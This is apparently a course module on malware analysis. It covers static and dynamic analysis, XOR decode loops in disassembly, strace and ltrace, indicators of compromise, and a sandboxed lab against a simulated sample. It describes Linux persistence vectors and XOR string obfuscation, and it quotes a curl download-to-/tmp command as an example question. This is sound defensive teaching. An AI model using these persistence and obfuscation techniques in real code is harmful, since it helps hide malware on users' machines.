Malware Analysis
Objectives: By the end of this topic, you will be able to…
- Differentiate between static and dynamic analysis
- Observe and document suspicious behaviors of a binary
- Recognize indicators of compromise
- Perform basic analysis in a safe and controlled manner
What is malware?
Malware (malicious software) is any program written to damage, disrupt, steal from, or take control of a system, a network, or its data. As a malware analyst your job is not to stop an attack in progress but to answer three questions after the fact: what does this sample do, how would you know it ran on another machine, and how do you detect it next time.
Common types
| Type | Description |
|---|---|
| Trojan | Disguises itself as legitimate software to get executed |
| Ransomware | Encrypts files and demands payment for the key |
| Rootkit | Obtains privileged access and hides its own presence |
| Botnet | A set of infected machines under one operator’s remote control |
Question
Classify each of these using the table, or say why it does not fit cleanly: a program that encrypts a company’s files and emails the key after a bank transfer clears; a browser extension that records every form you submit; a piece of code that spreads between machines but carries no other payload.
Malware life cycle
Understanding the life cycle helps detect and mitigate attacks at different stages:
- Delivery: How malware reaches the system (email attachments, malicious links, USB, exploits)
- Execution: The malicious code runs on the victim system
- Persistence: Attempts to maintain presence after reboots or cleanup
- Command and Control (C2): Communication with the attacker for instructions
- Action: Data theft, file encryption, espionage
- Evasion: Techniques to avoid detection (obfuscation, encryption, sandbox detection)
The persistence stage is worth expanding for Linux specifically. Persistence means arranging to run again after a logout or reboot without the user launching anything. The cheapest vector is a shell startup file: ~/.bashrc, ~/.bash_profile, and ~/.profile are read every time an interactive shell starts, so one appended line runs on every new terminal. Beyond that, a user-level cron entry runs a command on a schedule; a systemd user service or timer under ~/.config/systemd/user/ starts a process at login and can restart it if it exits; and a .desktop file dropped in ~/.config/autostart/ runs a program when the graphical session begins. None of these require root, which is what makes them attractive to malware that has only landed as an ordinary user. A rootkit, by contrast, is after kernel-level or root persistence and hiding, which costs more to achieve and is easier to detect once you know to look.
Question
Walk the six life-cycle stages against a piece of ransomware. Which stage is the point where the victim first notices something is wrong, and which earlier stages does a well-built sample try to keep invisible until that moment?
Static analysis (without executing the binary)
Static analysis of malware is the same methodology you applied to a crackme in Class 05 (file, strings, a disassembler, header inspection), turned on a file that was built to resist it. A crackme author hides one password; a malware author strips the binary, encodes its strings, and sometimes packs the whole image, so that the techniques below return less than they would against ordinary software. Static analysis stays valuable because it is safe to do first and it produces the identifying indicators, but you should expect it to be incomplete.
One consequence you meet immediately is that the binary is stripped. The symbol table is the list of names the compiler attaches to functions and global variables; stripping removes it, so a disassembler still shows you the code of every function but labels none of them, and main and a string-decoding routine look identical until you read what each one does. Stripping is a single build-time flag and is close to universal in real malware, so treat the absence of function names as the normal starting condition rather than a complication. Hash mechanics themselves (MD5, SHA-256) were covered in Class 06; here a hash is just a sample’s fingerprint for lookup.
Common techniques start with reviewing metadata (creation date, author, hashes) and identifying the file type with file, binwalk, or readelf. A disassembler like Ghidra, IDA Free, or Radare2 reveals the code structure, while strings surfaces readable text (URLs, command strings, filenames) that may expose intent without execution. Inspecting the binary headers uncovers imports, exports, sections, and target architecture. Finally, comparing file hashes against databases like VirusTotal or Hybrid Analysis can immediately confirm whether the sample is a known variant.
Static analysis carries low risk of infection and is useful for gathering initial indicators, but it does not reveal dynamic behavior and can be defeated by obfuscated or packed malware.
Question
Static analysis is described as safe but incomplete. Name one specific fact about a sample that static analysis alone cannot establish, and explain why executing the sample is the only way to obtain it. If you cannot name one, re-read the paragraph on what stripping and string encoding remove from your view.
Reading a decode loop in disassembly
Class 05 gave you the pieces you need to read a function: the System V register roles (rdi, rsi, rdx for the first arguments), the prolog and epilog that frame every function, and the cmp followed by je or jne that implements a decision. Reading a byte-processing loop in a stripped binary adds three habits on top of that.
First, operand order. objdump -d prints AT&T syntax, in which the source is on the left and the destination on the right, and an immediate constant carries a $. So xor $0x3c,%eax means “set %eax to %eax XOR 0x3c”, and mov %rdx,%rax copies %rdx into %rax. This is the reverse of the Intel syntax a decompiler such as Ghidra shows, so the same instruction reads in opposite directions depending on the tool.
Second, stack locals. A local variable the compiler keeps on the stack is addressed relative to the frame pointer, written -0x18(%rbp): the eight bytes at a fixed offset below %rbp. A loop that walks an array reloads its counter and its base pointer from these fixed slots on every iteration, so you will see the same -0x..(%rbp) operands appear again and again inside the loop body.
Third, the byte load. movzbl (%rax),%eax means “move zero-extended byte to long”: read the single byte at the address held in %rax and clear the upper bits of %eax. This is how one char is loaded out of an array, and seeing movzbl inside a short block that branches backward is a strong sign you are looking at a per-byte transform. One more pattern is noise: xor %eax,%eax, where both operands are the same register, sets that register to zero and is emitted constantly in function setup. That is not obfuscation; the xor that matters has a constant, not a register, as its source operand.
Put together, a one-byte XOR decode loop compiled at -O0 looks roughly like this. The addresses, the key value 0x3c, and the loop bound are illustrative and will differ in any real sample:
mov -0x4(%rbp),%eax ; eax = i (loop counter, a stack slot)
movslq %eax,%rdx ; rdx = (long) i (widen for address maths)
mov -0x18(%rbp),%rax ; rax = enc (base address of the encoded array)
add %rdx,%rax ; rax = enc + i (address of the i-th encoded byte)
movzbl (%rax),%eax ; eax = enc[i] (one byte, zero-extended)
xor $0x3c,%eax ; eax = enc[i] ^ 0x3c <-- 0x3c is the key
mov %eax,%ecx ; ecx = decoded byte
mov -0x4(%rbp),%eax ; eax = i (reload the counter)
movslq %eax,%rdx ; rdx = (long) i
mov -0x10(%rbp),%rax ; rax = out (base address of the output buffer)
add %rdx,%rax ; rax = out + i
mov %cl,(%rax) ; out[i] = decoded byte (low 8 bits of ecx)
addl $0x1,-0x4(%rbp) ; i++
cmpl $0x1f,-0x4(%rbp) ; compare i with 31
jle <top of loop> ; repeat while i <= 31%rax is a scratch address here: it holds a pointer, is overwritten by the byte load, and is reloaded before it is used as an address again. Follow one register at a time and the arithmetic falls out. The moment you can point at xor $<constant>,%<reg> inside a loop that loads bytes with movzbl, you have both the key and the algorithm, and everything else in the block is address computation you can skim.
Example
Compile any small C program you have with
gcc -O0and runobjdump -don it. Findmainby its prolog (push %rbpthenmov %rsp,%rbp), then pick onemovzblinstruction and, reading right to left in AT&T order, state which register receives the byte and what address it was read from. If you cannot yet, re-read the paragraph on frame-pointer-relative addressing above before continuing.
Dynamic analysis (controlled execution)
Involves executing the malware in a safe environment to observe its behavior.
Typical environment: isolated virtual machines with snapshots and no direct internet connection.
The analyst watches for file, registry, or process modifications; outbound communications (IP address, domain, port, and protocol); persistence mechanisms such as scheduled tasks or startup file modifications; and unusual process behavior or resource usage that would be invisible to static inspection.
When a sample beacons to a command-and-control (C2) address, you can read what it wants to say by standing up a listener on the expected port so the sample connects to your analysis host instead of the real server. On an isolated network the sample cannot tell the difference, and its first message often carries the host identifier or check-in data the operator uses to track infections. This is also the reason dynamic analysis defeats string obfuscation: a sample that XOR-encodes its C2 address still has to produce the plaintext in memory before it can hand it to the network, so observing the moment it does gives you the value that strings could not.
A few precautions are non-negotiable: never run real samples on production or daily-use systems, keep the VM network-isolated so any C2 traffic cannot reach the real internet, and take a snapshot before executing anything so the environment can be cleanly reverted.
Question
You execute a sample in your sandbox and nothing observable happens: no files created, no connections, no new processes. Give two distinct reasons a real sample might behave this way, and for each, what you would change about the environment before running it again.
Observing behaviour: system and library calls
A program cannot open a file, make a network connection, or start another process on its own. Each of those actions is a request to the kernel, made through a small and stable set of system calls: openat, connect, execve, read, write, sendto. This boundary is the most useful thing about dynamic analysis, because a program cannot reach the outside world without crossing it, and the crossing is observable no matter how the program stored the data it passes.
strace records every system call a process makes, with its arguments and return value. The C2 address has to appear as an argument to connect, and a dropped file’s path as an argument to openat, so strace shows you both in cleartext at the instant they are used. ltrace sits one level higher and records calls into shared libraries, mostly libc. Functions such as fopen, system, getenv, and strcpy are library calls rather than system calls, so they appear in ltrace output but not in strace output. The two views overlap: fopen eventually calls openat underneath, and system("...") is visible as one readable command string in ltrace before the kernel splits it into the execve that strace sees. In practice you run both, because strace is the ground truth for anything that touches the kernel and ltrace is where a high-level action like “run this shell command” is still legible as a single line.
| Call | Layer | Seen in | What it tells you |
|---|---|---|---|
openat, read, write | system call | strace | files touched, bytes read or written |
connect, sendto, recvfrom | system call | strace | C2 address and port, bytes sent |
execve | system call | strace | another program launched, with its arguments |
fopen, fread | libc | ltrace | the same file access, named at the C level |
system, popen | libc | ltrace | the full shell command string before it is split |
getenv | libc | ltrace | environment values the sample inspects, often to detect a sandbox |
Question
A sample runs
system("curl http://x/y -o /tmp/z"). Which single line would you expect to see inltraceoutput, and which two or three lines represent the same action instraceoutput? Why is theltraceview easier to read here, while thestraceview is harder for the sample to hide from?
Indicators of Compromise (IoC)
IoCs are traces or signals that indicate a system has been compromised. They include file hashes (MD5, SHA-256) of known malicious samples, suspicious filenames or filesystem paths, IP addresses and domains the malware communicates with, modified registry keys, and characteristic strings found inside binaries or running processes. These indicators are shared among security professionals through formats like STIX and platforms like MISP, enabling faster detection and coordinated incident response across organizations.
Indicators are not equally useful, because they are not equally expensive for an attacker to change. A file hash is the most fragile: recompiling the sample or flipping a single byte produces a completely different hash while the behaviour is unchanged, so a hash detects only the exact binary you already hold. Host and network artifacts such as a hard-coded file path, a mutex name, or a C2 domain sit in the middle, since they survive casual repackaging but cost the attacker a rebuild or new infrastructure to refresh. Behavioural patterns such as a decode-then-connect-then-drop sequence or a beacon at a fixed interval are the most durable, because changing them means real development effort; this ranking is known as the Pyramid of Pain, described by David Bianco in 2013, and it is why detection engineering prefers a behavioural rule over a hash blocklist. The IoC concept is extended in Class 11, which applies it to network telemetry.
Question
You have five indicators for one sample: its SHA-256 hash, its C2 domain, the
/tmpfilename it drops, the exact bytes of its beacon message, and the description “beacons over TCP every 30 seconds to a hard-coded address”. Rank them from easiest to hardest for the author to change. If you could deploy only one as a detection rule across an estate, which would you pick, and why?
Recommendations for safe analysis
The isolation and snapshot precautions from dynamic analysis above are the foundation. Three operational habits build on them. Keep a logbook of every command you run and every artifact you observe, with timestamps, so that when you review the evidence later you can separate your own activity from the sample’s. Disable the guest-to-host conveniences that malware can use as an escape path or a data leak: shared folders, shared clipboard, and drag-and-drop. And store samples under neutral names with inert extensions such as .txt or .bin, so that a stray double-click or a shell glob does not run one by accident.
Question
Your analysis VM has no network adapter attached and a clean snapshot to revert to. Name one way a sample could still reach your host or leak data out, and the single setting that closes that path.
Hands-on lab
Requirements: Kali Linux (isolated VM), provided
sim_malwarebinary (compiled withgcc -o sim_malware sim_malware.c -s), and the toolsfile,strings,objdump,strace,ltrace,nc,netstat,lsof, and Wireshark. Most are preinstalled on Kali;ltraceoften is not.
This lab is done in pairs with a divided workload. Both of you complete Part 0 independently, so each of you has an isolated VM with its own copy of sim_malware. From Part 1 on, one of you is the Static Analyst, who works through Part 1 (file typing, hashing, strings, and disassembly with objdump) and never executes the sample. The other is the Dynamic Analyst, who works through Part 2 (the nc listener, strace and ltrace, Wireshark on loopback, live process inspection, the dropped file, and the persistence check). Between Part 1 and Part 2 the Static Analyst hands over a prediction sheet (see Handoff: predicted indicators below), and the Dynamic Analyst’s Part 2 notes must record whether each prediction held. You write Part 3 and the Submission jointly.
Part 0: Set up a safe sandbox
Before touching any sample, confirm your tools are present and then configure your VM for isolation. While you still have network access, run:
which file strings objdump strace ltrace nc netstat lsof
sudo apt-get install -y ltrace # if the line above showed no path for ltraceOnly isolate the network (below) once every tool resolves to a path. The steps differ slightly depending on your hypervisor.
VirtualBox
-
Isolate the network. Open Settings → Network for your Kali VM. Set Adapter 1 to Host-only Adapter (or Internal Network if you do not need host communication at all). This prevents any traffic from reaching the real internet while still allowing loopback and host-guest communication you may need for file transfers.
-
Disable shared folders. Go to Settings → Shared Folders and remove any active shares. A shared folder is a direct path for malware to escape the VM onto your host filesystem.
-
Take a clean snapshot. With the VM running and in a known-good state, go to Machine → Take Snapshot. Name it something clear like
before-malware-lab. You will restore to this point after the exercise. -
Disable drag-and-drop and clipboard sharing. Go to Settings → General → Advanced and set both Shared Clipboard and Drag’n’Drop to Disabled.
VMware (Workstation / Fusion)
-
Isolate the network. Open VM → Settings → Network Adapter. Select Host-only. This confines traffic to a virtual network that has no route to the real internet. If you need finer control, use Custom (VMnet2 or higher) and verify in the Virtual Network Editor that DHCP is enabled and NAT is disabled for that VMnet.
-
Disable shared folders. Go to VM → Settings → Options → Shared Folders and set the folder sharing option to Disabled.
-
Take a clean snapshot. Go to VM → Snapshot → Take Snapshot. Name it
before-malware-lab. After the session, use Snapshot → Revert to Snapshot to restore the clean state. -
Disable drag-and-drop and clipboard sharing. Go to VM → Settings → Options → Guest Isolation and uncheck both Enable drag and drop and Enable copy and paste.
Verify isolation before proceeding
After configuring the above settings, confirm the VM cannot reach the internet:
ping -c 3 8.8.8.8
curl --max-time 5 https://example.comBoth commands should time out or fail. Only proceed to Part 1 once the network is confirmed isolated.
Part 1: Static analysis
Static Analyst. You work through this part and do not execute the sample at any point.
- Identify the file and fingerprint it.
filereports a file’s type and format;md5sumandsha256sumcompute the cryptographic hashes that serve as the sample’s identifying fingerprint for lookup and IoC reporting:
file sim_malware
md5sum sim_malware
sha256sum sim_malwareNotice that file reports the binary as stripped — symbol names have been removed. This is standard practice in real malware to hinder analysis.
- Attempt to extract readable strings.
stringsprints runs of printable characters found in a file, andgrepfilters that output for the patterns you care about:
strings sim_malware | grep -E "127\.|/tmp|\.txt"No results — the strings are not stored in plain text. This is why strings alone is unreliable for analyzing real-world samples.
- Inspect the disassembly and look for a decode loop.
objdump -ddisassembles the executable sections of a binary; piping tolesslets you scroll a long listing:
objdump -d sim_malware | lessBecause symbols are stripped, function names will not appear. You will also see several xor instructions early on that look like xor %ebp,%ebp or xor %ecx,%ecx — these are just the standard x86 idiom for zeroing a register and are not the loop you’re looking for.
Scroll further and look for a short, repeating loop that uses xor with a fixed numeric constant. It will look roughly like this:
mov -0x4(%rbp),%eax ; eax = i (loop counter kept in a stack slot)
movslq %eax,%rdx ; rdx = i, widened to 64 bits for address maths
mov -0x18(%rbp),%rax ; rax = enc (base address of the encoded array)
add %rdx,%rax ; rax = enc + i
movzbl (%rax),%eax ; eax = enc[i] (one encoded byte, zero-extended)
xor $0x5a,%eax ; eax = enc[i] XOR key ← the key is the constant here
mov %eax,%ecx ; ecx = decoded byte
mov -0x4(%rbp),%eax ; eax = i (reload the counter)
movslq %eax,%rdx ; rdx = i, widened again
mov -0x10(%rbp),%rax ; rax = out (base address of the output buffer)
add %rdx,%rax ; rax = out + i
mov %cl,(%rax) ; out[i] = decoded byte (low 8 bits of ecx)What is XOR obfuscation? XOR is a bitwise operation where each bit is flipped if — and only if — the corresponding bit in a key is 1. Applying the same key twice cancels out, so byte XOR key XOR key = byte. Malware authors exploit this to encode sensitive strings (C2 addresses, filenames, commands) as meaningless byte arrays at rest. The binary decodes them at runtime — just in time to use them — keeping them invisible to static tools like strings.
The fixed value after the xor instruction (0x5a in the example above) is the key. Every byte in the encoded array was scrambled with that same value before the binary was compiled.
Question
Based on the disassembly, can you identify the XOR key used to encode the strings? What instructions in the loop reveal it?
Handoff: predicted indicators
objdump -s prints the raw contents of a named section as hex and ASCII, which lets you read a data array the disassembly only references by address.
Before the Dynamic Analyst runs anything, the Static Analyst produces a prediction sheet and hands it over.
Using the XOR key recovered from the decode loop in Part 1, the Static Analyst decodes the sample’s embedded strings by hand. The instruction just before the decode loop that loads a base address into a register (lea 0x...(%rip),%rax in a position-independent binary) points at the encoded array; objdump -s -j .rodata sim_malware and objdump -s -j .data sim_malware print the raw contents of those sections as hex and ASCII, so you can find the encoded bytes at that offset. XOR each byte with the key and fill in what you can:
| Predicted indicator | Value |
|---|---|
| C2 IP address and port | |
| Dropped file path | |
| Beacon message text | |
| Persistence target file |
If you cannot locate every array, predict what you can (for example the number of distinct encoded strings and their lengths) and hand that over instead. The point is to commit to a prediction before anyone runs the sample.
The Dynamic Analyst records this sheet as received, without editing it, then works through Part 2. The predicted C2 port configures the listener and the Wireshark capture filter in Part 2, so the Dynamic Analyst cannot start those steps without the sheet. For every predicted value, mark in your notes whether the runtime observation confirmed it, contradicted it, or was not covered by the prediction. A contradiction is itself a finding: it means either the static decode was wrong or the sample resolves that value at runtime rather than storing it. The completed comparison is required in the Submission.
Part 2: Dynamic analysis
Dynamic Analyst. You work through this part. Do not start until the prediction sheet from Part 1 has reached you.
Dynamic analysis bypasses obfuscation because the binary must decode its own strings at runtime in order to function.
- Take the C2 port from the prediction sheet. Open a listener on that port in a separate terminal so the sample’s beacon connects to you instead of the real server.
nc(netcat) opens or listens on a raw TCP or UDP socket:
nc -lvnp <port-from-prediction-sheet>Leave this running before executing the binary. If the Static Analyst could not recover the port, fall back to the sample’s default of 4444 and note the gap in your comparison.
- In your original terminal, trace system and library calls during execution.
stracerecords the system calls a process makes;ltracerecords its calls into shared libraries:
strace -o output_strace.txt ./sim_malware
ltrace -o output_ltrace.txt ./sim_malware- Examine the traces for decoded strings and key events:
grep -E "openat|connect|execve|sendto" output_strace.txt
grep -E "fopen|system|connect|send" output_ltrace.txtThe IP address, file path, and outbound message now appear in plain text even though they were hidden from strings.
-
Check what the netcat listener received — switch to that terminal. The message sent by the binary should have arrived.
-
Open Wireshark and select the loopback (
lo) interface. Wireshark captures and displays network traffic packet by packet. Apply a filter for the same C2 port you used for the listener:
tcp.port == <port-from-prediction-sheet>
Re-run the binary with the listener active and inspect the full TCP exchange. Locate the packet with the PSH (push) flag set: PSH tells the receiving TCP stack to hand buffered data to the application immediately instead of waiting for more, so in a short exchange like this it marks the segment that carries the payload the binary sent.
Question
What message did the binary send to the listener? How does
stracereveal strings thatstringscould not find? What does this tell you about the limits of static analysis?
- Inspect the sample’s live footprint.
netstat -anplists active sockets with their owning process,psshows running processes,lsoflists the files and sockets a process holds open, andpgrep -nreturns the PID of the newest process matching a name. The traces in step 2 ran the sample to completion, so start a fresh instance in the background first:
./sim_malware &
netstat -anp
ps aux | grep '[s]im_malware'
lsof -p "$(pgrep -n sim_malware)" 2>/dev/nullIf pgrep -n sim_malware returns nothing, the sample is short-lived: it does its work and exits rather than staying resident. Record that as a finding (a short-lived dropper leaves no persistent process to inspect) and reconstruct the socket and open-file activity from the strace timeline in step 2 instead.
- Check for dropped files:
find /tmp -newerct "10 minutes ago"
cat /tmp/payload.txt- Check for persistence:
tail -5 ~/.bashrcEach time you executed the sample (twice in step 2, again for the listener check, again for the Wireshark capture, and once more in step 6) it appended another marker to your shell startup file. Count them:
grep -c "$(tail -1 ~/.bashrc | cut -c1-20)" ~/.bashrcSeeing one marker per execution is itself an indicator: this sample does not check whether it has already persisted before writing. This simulates one of the most common Linux persistence techniques, modifying shell init files so the sample runs again on every new terminal session and after a reboot. Revert to your before-malware-lab snapshot when the lab is finished so these markers do not follow you.
Question
Why is
~/.bashrca useful persistence target for malware? What other files or mechanisms could an attacker use to achieve persistence on a Linux system?
Part 3: IOC — Indicators of Compromise
Both students, together.
Document every indicator you observed during Parts 1 and 2. Your table must include at least one entry per type:
| Type | Indicator | Observation |
|---|---|---|
| Hash | ||
| File | ||
| Persistence | ||
| Process | ||
| Network | ||
| Payload |
Question
Which of the IoCs you documented would be the most reliable indicator for detecting this malware on a different system? Which would be easiest for a malware author to change to evade detection?
Submission
Compressed folder with:
output_strace.txt,output_ltrace.txt, captures fromstrings,objdump- The prediction sheet and the Dynamic Analyst’s confirm / contradict / not-covered comparison against it
- Screenshots of
netstat,ps, Wireshark traffic, and the netcat listener output - Completed IOC table in
.md,.csv, or.pdf - Brief written reflection (less than 1 page)
Key concepts
| Term | Definition |
|---|---|
| Malware | Malicious software designed to damage or compromise systems |
| Ransomware | Malware that encrypts files and demands payment to release them |
| Trojan | Malware disguised as legitimate software |
| IoC | Observable evidence that a system has been compromised |
| Static analysis | Examination of binaries without executing them |
| Dynamic analysis | Observation of behavior during execution |